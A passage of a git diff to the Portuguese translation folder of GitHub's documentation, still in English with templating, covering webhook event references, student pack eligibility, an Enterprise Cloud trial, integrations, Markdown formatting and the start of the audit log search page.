data reusables.webhooks.sponsorship_short_desc %} + +You can only create a sponsorship webhook on {% data variables.product.prodname_dotcom %}. For more information, see "[Configuring webhooks for events in your sponsored account](/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account)". + +### Availability + +- Sponsored accounts + +### Webhook payload object + +{% data reusables.webhooks.sponsorship_webhook_properties %} +{% data reusables.webhooks.sponsorship_properties %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example when someone creates a sponsorship + +{{ webhookPayloadsForCurrentVersion.sponsorship.created }} + +### Webhook payload example when someone downgrades a sponsorship + +{{ webhookPayloadsForCurrentVersion.sponsorship.downgraded }} + +{% endif %} + +## star + +{% data reusables.webhooks.star_short_desc %} + +### Availability + +- Repository webhooks +- Organization webhooks + +### Webhook payload object + +{% data reusables.webhooks.star_properties %} +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.star.created }} + +## status + +{% data reusables.webhooks.status_short_desc %} + +### Availability + +- Repository webhooks +- Organization webhooks +- {% data variables.product.prodname_github_apps %} with the `statuses` permission + +### Webhook payload object + +Key | Type | Description +----|------|------------- +`id` | `integer` | The unique identifier of the status. +`sha`|`string` | The Commit SHA. +`state`|`string` | The new state. Can be `pending`, `success`, `failure`, or `error`. +`description`|`string` | The optional human-readable description added to the status. +`target_url`|`string` | The optional link added to the status. +`branches`|`array` | An array of branch objects containing the status' SHA. Each branch contains the given SHA, but the SHA may or may not be the head of the branch. The array includes a maximum of 10 branches. +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.app_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.status }} + +## team + +{% data reusables.webhooks.team_short_desc %} + +### Availability + +- Organization webhooks +- {% data variables.product.prodname_github_apps %} with the `members` permission + +### Webhook payload object + +Key | Type | Description +----|------|------------- +`action` |`string` | The action that was performed. Can be one of `created`, `deleted`, `edited`, `added_to_repository`, or `removed_from_repository`. +`team` |`object` | The team itself. +`changes`|`object` | The changes to the team if the action was `edited`. +`changes[description][from]` |`string` | The previous version of the description if the action was `edited`. +`changes[name][from]` |`string` | The previous version of the name if the action was `edited`. +`changes[privacy][from]` |`string` | The previous version of the team's privacy if the action was `edited`. +`changes[repository][permissions][from][admin]` | `boolean` | The previous version of the team member's `admin` permission on a repository, if the action was `edited`. +`changes[repository][permissions][from][pull]` | `boolean` | The previous version of the team member's `pull` permission on a repository, if the action was `edited`. +`changes[repository][permissions][from][push]` | `boolean` | The previous version of the team member's `push` permission on a repository, if the action was `edited`. +`repository`|`object` | The repository that was added or removed from to the team's purview if the action was `added_to_repository`, `removed_from_repository`, or `edited`. For `edited` actions, `repository` also contains the team's new permission levels for the repository. +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.team.added_to_repository }} + +## team_add + +{% data reusables.webhooks.team_add_short_desc %} + +### Availability + +- Repository webhooks +- Organization webhooks +- {% data variables.product.prodname_github_apps %} with the `members` permission + +### Webhook payload object + +Key | Type | Description +----|------|------------- +`team`|`object` | The [team](/rest/reference/teams) that was modified. **Note:** Older events may not include this in the payload. +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.app_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.team_add }} + +{% ifversion ghes or ghae %} + +## user + +When a user is `created` or `deleted`. + +### Availability +- GitHub Enterprise webhooks. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/)." + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.user.created }} + +{% endif %} + +## watch + +{% data reusables.webhooks.watch_short_desc %} + +The event’s actor is the [user](/rest/reference/users) who starred a repository, and the event’s repository is the [repository](/rest/reference/repos) that was starred. + +### Availability + +- Repository webhooks +- Organization webhooks +- {% data variables.product.prodname_github_apps %} with the `metadata` permission + +### Webhook payload object + +{% data reusables.webhooks.watch_properties %} +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.app_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.watch.started }} + +{% ifversion fpt or ghes or ghec %} +## workflow_dispatch + +This event occurs when someone triggers a workflow run on GitHub or sends a `POST` request to the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)" endpoint. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)." + +### Availability + +- {% data variables.product.prodname_github_apps %} must have the `contents` permission to receive this webhook. + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.workflow_dispatch }} +{% endif %} + +{% ifversion fpt or ghes > 3.2 or ghec %} + +## workflow_job + +{% data reusables.webhooks.workflow_job_short_desc %} + +### Availability + +- Repository webhooks +- Organization webhooks +- Enterprise webhooks + +### Webhook payload object + +{% data reusables.webhooks.workflow_job_properties %} +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.workflow_job }} + +{% endif %} +{% ifversion fpt or ghes or ghec %} +## workflow_run + +When a {% data variables.product.prodname_actions %} workflow run is requested or completed. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_run)." + +### Availability + +- {% data variables.product.prodname_github_apps %} with the `actions` or `contents` permissions. + +### Webhook payload object + +{% data reusables.webhooks.workflow_run_properties %} +{% data reusables.webhooks.workflow_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.workflow_run }} +{% endif %} diff --git a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md new file mode 100644 index 0000000000..514bf5d42f --- /dev/null +++ b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md @@ -0,0 +1,72 @@ +--- +title: Why wasn't my application for a student developer pack approved? +intro: 'Review common reasons that applications for the {% data variables.product.prodname_student_pack %} are not approved and learn tips for reapplying successfully.' +redirect_from: + - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved + - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved + - /articles/why-was-my-application-for-a-student-developer-pack-denied/ + - /articles/why-wasn-t-my-application-for-a-student-developer-pack-approved + - /articles/why-wasnt-my-application-for-a-student-developer-pack-approved + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved +versions: + fpt: '*' +shortTitle: Application not approved +--- +{% tip %} + +**Tip:** {% data reusables.education.about-github-education-link %} + +{% endtip %} + +## Unclear academic affiliation documents + +If the dates or schedule mentioned in your uploaded image do not match our eligibility criteria, we require further proof of your academic status. + +If the image you uploaded doesn't clearly identify your current academic status or if the uploaded image is blurry, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +## Using an academic email with an unverified domain + +If your academic email address has an unverified domain, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +## Using an academic email from a school with lax email policies + +If your school issues email addresses prior to paid student enrollment, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +If you have other questions or concerns about the school domain please ask your school IT staff to contact us. + +## Academic email address already used + +If your academic email address was already used to request a {% data variables.product.prodname_student_pack %} for a different {% data variables.product.prodname_dotcom %} account, you cannot reuse the academic email address to successfully apply for another {% data variables.product.prodname_student_pack %}. + +{% note %} + +**Note:** It is against the {% data variables.product.prodname_dotcom %} [Terms of Service](/articles/github-terms-of-service/#3-account-requirements) to maintain more than one individual account. + +{% endnote %} + +If you have more than one personal user account, you must merge your accounts. To retain the discount, keep the account that was granted the discount. You can rename the retained account and keep your contribution history by adding all your email addresses to the retained account. + +For more information, see: +- "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)" +- "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)" +- "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account)" + +## Ineligible student status + +You're ineligible for a {% data variables.product.prodname_student_pack %} if: +- You're enrolled in an informal learning program that is not part of the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) and not enrolled in a degree or diploma granting course of study. +- You're pursuing a degree which will be terminated in the current academic session. +- You're under 13 years old. + +Your instructor may still apply for a {% data variables.product.prodname_education %} discount for classroom use. If you're a student at a coding school or bootcamp, you will become eligible for a {% data variables.product.prodname_student_pack %} if your school joins the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). + +## Further reading + +- "[How to get the GitHub Student Developer Pack without a student ID](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/)" on {% data variables.product.prodname_blog %} +- "[Apply for a student developer pack](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)" diff --git a/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md b/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md new file mode 100644 index 0000000000..ba8a064edd --- /dev/null +++ b/translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md @@ -0,0 +1,68 @@ +--- +title: Setting up a trial of GitHub Enterprise Cloud +intro: 'You can try {% data variables.product.prodname_ghe_cloud %} for free.' +redirect_from: + - /articles/setting-up-a-trial-of-github-enterprise-cloud + - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-cloud + - /github/getting-started-with-github/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Accounts +shortTitle: Enterprise Cloud trial +--- + +{% data reusables.enterprise.ghec-cta-button %} + + +## About {% data variables.product.prodname_ghe_cloud %} + +{% data reusables.organizations.about-organizations %} + +You can use organizations for free with {% data variables.product.prodname_free_team %}, which includes limited features. For additional features, such as SAML single sign-on (SSO), access control for {% data variables.product.prodname_pages %}, and included {% data variables.product.prodname_actions %} minutes, you can upgrade to {% data variables.product.prodname_ghe_cloud %}. For a detailed list of the features available with {% data variables.product.prodname_ghe_cloud %}, see our [Pricing](https://github.com/pricing) page. + +{% data reusables.saml.saml-accounts %} For more information, see "About identity and access management with SAML single sign-on." + +{% data reusables.products.which-product-to-use %} + +## About trials of {% data variables.product.prodname_ghe_cloud %} + +You can set up a 14-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. You do not need to provide a payment method during the trial unless you add {% data variables.product.prodname_marketplace %} apps to your organization that require a payment method. For more information, see "About billing for {% data variables.product.prodname_marketplace %}." + +Your trial includes 50 seats. If you need more seats to evaluate {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. At the end of the trial, you can choose a different number of seats. + +Trials are also available for {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)." + +## Setting up your trial of {% data variables.product.prodname_ghe_cloud %} + +Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a user account. If you don't already have a user account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. For more information, see "Signing up for a new {% data variables.product.prodname_dotcom %} account." + +1. Navigate to [{% data variables.product.prodname_dotcom %} for enterprises](https://github.com/enterprise). +1. Click **Start a free trial**. + !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png) +1. Click **Enterprise Cloud**. + !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png) +1. Follow the prompts to configure your trial. + +## Exploring {% data variables.product.prodname_ghe_cloud %} + +After setting up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the [Enterprise Onboarding Guide](https://resources.github.com/enterprise-onboarding/). + +{% data reusables.products.product-roadmap %} + +## Finishing your trial + +You can buy {% data variables.product.prodname_enterprise %} or downgrade to {% data variables.product.prodname_team %} at any time during your trial. + +If you don't purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %} before your trial ends, your organization will be downgraded to {% data variables.product.prodname_free_team %} and lose access to any advanced tooling and features that are only included with paid products, including {% data variables.product.prodname_pages %} sites published from those private repositories. If you don't plan to upgrade, to avoid losing access to advanced features, make the repositories public before your trial ends. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." + +Downgrading to {% data variables.product.prodname_free_team %} for organizations also disables any SAML settings configured during the trial period. Once you purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %}, your SAML settings will be enabled again for users in your organization to authenticate. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +5. Under "{% data variables.product.prodname_ghe_cloud %} Free Trial", click **Buy Enterprise** or **Downgrade to Team**. + ![Buy Enterprise and Downgrade to Team buttons](/assets/images/help/organizations/finish-trial-buttons.png) +6. Follow the prompts to enter your payment method, then click **Submit**. diff --git a/translations/pt-BR/content/get-started/using-git/about-git.md b/translations/pt-BR/content/get-started/using-git/about-git.md index 75d4607cf6..f94c074ced 100644 --- a/translations/pt-BR/content/get-started/using-git/about-git.md +++ b/translations/pt-BR/content/get-started/using-git/about-git.md @@ -129,7 +129,7 @@ git push --set-upstream origin main ### Example: contribute to an existing branch on {% data variables.product.product_name %} -This example assumes that you already have a project called `repo` already on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. +This example assumes that you already have a project called `repo` on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. ```bash # change into the `repo` directory @@ -162,7 +162,7 @@ There are two primary ways people collaborate on {% data variables.product.produ With a shared repository, individuals and teams are explicitly designated as contributors with read, write, or administrator access. This simple permission structure, combined with features like protected branches, helps teams progress quickly when they adopt {% data variables.product.product_name %}. -For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under an developer's personal account. Every developer has full control of their fork and is free to implement a fix or new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." +For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." ## Further reading diff --git a/translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md b/translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md new file mode 100644 index 0000000000..ceaaf6c438 --- /dev/null +++ b/translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md @@ -0,0 +1,51 @@ +--- +title: GitHub extensions and integrations +intro: 'Use {% data variables.product.product_name %} extensions to work seamlessly in {% data variables.product.product_name %} repositories within third-party applications.' +redirect_from: + - /articles/about-github-extensions-for-third-party-applications/ + - /articles/github-extensions-and-integrations + - /github/customizing-your-github-workflow/github-extensions-and-integrations +versions: + fpt: '*' + ghec: '*' +shortTitle: Extensions & integrations +--- +## Editor tools + +You can connect to {% data variables.product.product_name %} repositories within third-party editor tools, such as Atom, Unity, and Visual Studio. + +### {% data variables.product.product_name %} for Atom + +With the {% data variables.product.product_name %} for Atom extension, you can commit, push, pull, resolve merge conflicts, and more from the Atom editor. For more information, see the official [{% data variables.product.product_name %} for Atom site](https://github.atom.io/). + +### {% data variables.product.product_name %} for Unity + +With the {% data variables.product.product_name %} for Unity editor extension, you can develop on Unity, the open source game development platform, and see your work on {% data variables.product.product_name %}. For more information, see the official Unity editor extension [site](https://unity.github.com/) or the [documentation](https://github.com/github-for-unity/Unity/tree/master/docs). + +### {% data variables.product.product_name %} for Visual Studio + +With the {% data variables.product.product_name %} for Visual Studio extension, you can work in {% data variables.product.product_name %} repositories without leaving Visual Studio. For more information, see the official Visual Studio extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs). + +### {% data variables.product.prodname_dotcom %} for Visual Studio Code + +With the {% data variables.product.prodname_dotcom %} for Visual Studio Code extension, you can review and manage {% data variables.product.product_name %} pull requests in Visual Studio Code. For more information, see the official Visual Studio Code extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github). + +## Project management tools + +You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party project management tools, such as Jira. + +### Jira Cloud and {% data variables.product.product_name %}.com integration + +You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace. + +## Team communication tools + +You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams. + +### Slack and {% data variables.product.product_name %} integration + +You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, releases, deployment reviews and deployment statuses. You can also perform activities like close or open issues, and provide rich references to issues and pull requests without leaving Slack. For more information, visit the [Slack integration app](https://github.com/marketplace/slack-github) in the marketplace. + +### Microsoft Teams and {% data variables.product.product_name %} integration + +You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, deployment reviews and deployment statuses. You can also perform activities like close or open issues, comment on your issues and pull requests, and provide rich references to issues and pull requests without leaving Microsoft Teams. For more information, visit the [Microsoft Teams integration app](https://appsource.microsoft.com/en-us/product/office/WA200002077) in Microsoft AppSource. diff --git a/translations/pt-BR/content/github/index.md b/translations/pt-BR/content/github/index.md index 15156bc2c1..a526e281f2 100644 --- a/translations/pt-BR/content/github/index.md +++ b/translations/pt-BR/content/github/index.md @@ -22,4 +22,3 @@ children: - /site-policy-deprecated - /setting-up-and-managing-your-enterprise --- - diff --git a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md index b1ca69a0dc..a11f87792f 100644 --- a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md +++ b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md @@ -29,8 +29,8 @@ You can indicate emphasis with bold, italic, or strikethrough text in comment fi | Style | Syntax | Keyboard shortcut | Example | Output | | --- | --- | --- | --- | --- | -| Bold | `** **` or `__ __` | command/control + b | `**This is bold text**` | **This is bold text** | -| Italic | `* *` or `_ _` | command/control + i | `*This text is italicized*` | *This text is italicized* | +| Bold | `** **` or `__ __`| command/control + b | `**This is bold text**` | **This is bold text** | +| Italic | `* *` or `_ _`     | command/control + i | `*This text is italicized*` | *This text is italicized* | | Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ | | Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** | | All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** | diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md index 7e7c6a7550..4b879741b9 100644 --- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md +++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md @@ -129,7 +129,7 @@ Project views allow you to quickly view specific aspects of your project. Each v For example, you can have: - A view that shows all items not yet started (filter on "Status"). -- A view that shows the workload for each team member (group by "Assignee" and filter on "Status"). +- A view that shows the workload for each team (group by a custom "Team" field). - A view that shows the items with the earliest target ship date (sort by a date field). To add a new view: diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md new file mode 100644 index 0000000000..3765400734 --- /dev/null +++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -0,0 +1,755 @@ +--- +title: Reviewing the audit log for your organization +intro: 'The audit log allows organization admins to quickly review the actions performed by members of your organization. It includes details such as who performed the action, what the action was, and when it was performed.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /articles/reviewing-the-audit-log-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/reviewing-the-audit-log-for-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Review audit log +--- + +## Accessing the audit log + +The audit log lists events triggered by activities that affect your organization within the current month and previous six months. Only owners can access an organization's audit log. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.audit_log.audit_log_sidebar_for_org_admins %} + +## Searching the audit log + +{% data reusables.audit_log.audit-log-search %} + +### Search based on the action performed + +To search for specific events, use the `action` qualifier in your query. Actions listed in the audit log are grouped within the following categories: + +| Category name | Description +|------------------|-------------------{% ifversion fpt or ghec %} +| [`account`](#account-category-actions) | Contains all activities related to your organization account. +| [`advisory_credit`](#advisory_credit-category-actions) | Contains all activities related to crediting a contributor for a security advisory in the {% data variables.product.prodname_advisory_database %}. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +| [`billing`](#billing-category-actions) | Contains all activities related to your organization's billing. +| [`business`](#business-category-actions) | Contains activities related to business settings for an enterprise. | +| [`codespaces`](#codespaces-category-actions) | Contains all activities related to your organization's codespaces. |{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %} +| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in existing repositories. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in new repositories created in the organization. +| [`dependabot_security_updates`](#dependabot_security_updates-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} in existing repositories. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." +| [`dependabot_security_updates_new_repos`](#dependabot_security_updates_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} for new repositories created in the organization.{% endif %}{% ifversion fpt or ghec %} +| [`dependency_graph`](#dependency_graph-category-actions) | Contains organization-level configuration activities for dependency graphs for repositories. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +| [`dependency_graph_new_repos`](#dependency_graph_new_repos-category-actions) | Contains organization-level configuration activities for new repositories created in the organization.{% endif %} +| [`discussion_post`](#discussion_post-category-actions) | Contains all activities related to discussions posted to a team page. +| [`discussion_post_reply`](#discussion_post_reply-category-actions) | Contains all activities related to replies to discussions posted to a team page.{% ifversion fpt or ghes or ghec %} +| [`enterprise`](#enterprise-category-actions) | Contains activities related to enterprise settings. | {% endif %} +| [`hook`](#hook-category-actions) | Contains all activities related to webhooks. +| [`integration_installation_request`](#integration_installation_request-category-actions) | Contains all activities related to organization member requests for owners to approve integrations for use in the organization. | +| [`ip_allow_list`](#ip_allow_list) | Contains activitites related to enabling or disabling the IP allow list for an organization. +| [`ip_allow_list_entry`](#ip_allow_list_entry) | Contains activities related to the creation, deletion, and editing of an IP allow list entry for an organization. +| [`issue`](#issue-category-actions) | Contains activities related to deleting an issue. {% ifversion fpt or ghec %} +| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement. +| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %} +| [`members_can_create_pages`](#members_can_create_pages-category-actions) | Contains all activities related to managing the publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." | {% endif %} +| [`org`](#org-category-actions) | Contains activities related to organization membership.{% ifversion fpt or ghec %} +| [`org_credential_authorization`](#org_credential_authorization-category-actions) | Contains all activities related to authorizing credentials for use with SAML single sign-on.{% endif %}{% ifversion fpt or ghes or ghae or ghec %} +| [`organization_label`](#organization_label-category-actions) | Contains all activities related to default labels for repositories in your organization.{% endif %} +| [`oauth_application`](#oauth_application-category-actions) | Contains all activities related to OAuth Apps.{% ifversion fpt or ghes > 3.0 or ghec %} +| [`packages`](#packages-category-actions) | Contains all activities related to {% data variables.product.prodname_registry %}.{% endif %}{% ifversion fpt or ghec %} +| [`payment_method`](#payment_method-category-actions) | Contains all activities related to how your organization pays for GitHub.{% endif %} +| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your organization's profile picture. +| [`project`](#project-category-actions) | Contains all activities related to project boards. +| [`protected_branch`](#protected_branch-category-actions) | Contains all activities related to protected branches. +| [`repo`](#repo-category-actions) | Contains activities related to the repositories owned by your organization.{% ifversion fpt or ghec %} +| [`repository_advisory`](#repository_advisory-category-actions) | Contains repository-level activities related to security advisories in the {% data variables.product.prodname_advisory_database %}. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +| [`repository_content_analysis`](#repository_content_analysis-category-actions) | Contains all activities related to [enabling or disabling data use for a private repository](/articles/about-github-s-use-of-your-data).{% endif %}{% ifversion fpt or ghec %} +| [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %} +| [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).{% endif %}{% ifversion fpt or ghec %} +| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion ghec %} +| [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %} +| [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% ifversion fpt or ghec %} +| [`sponsors`](#sponsors-category-actions) | Contains all events related to sponsor buttons (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %} +| [`team`](#team-category-actions) | Contains all activities related to teams in your organization. +| [`team_discussions`](#team_discussions-category-actions) | Contains activities related to managing team discussions for an organization.{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +| [`workflows`](#workflows-category-actions) | Contains activities related to {% data variables.product.prodname_actions %} workflows.{% endif %} + +You can search for specific sets of actions using these terms. For example: + + * `action:team` finds all events grouped within the team category. + * `-action:hook` excludes all events in the webhook category. + +Each category has a set of associated actions that you can filter on. For example: + + * `action:team.create` finds all events where a team was created. + * `-action:hook.events_changed` excludes all events where the events on a webhook have been altered. + +### Search based on time of action + +Use the `created` qualifier to filter events in the audit log based on when they occurred. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +For example: + + * `created:2014-07-08` finds all events that occurred on July 8th, 2014. + * `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014. + * `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014. + * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014. + + +{% note %} + +**Note**: The audit log contains data for the current month and every day of the previous six months. + +{% endnote %} + +### Search based on location + +Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or its full name. Keep in mind that countries with spaces in their name will need to be wrapped in quotation marks. For example: + + 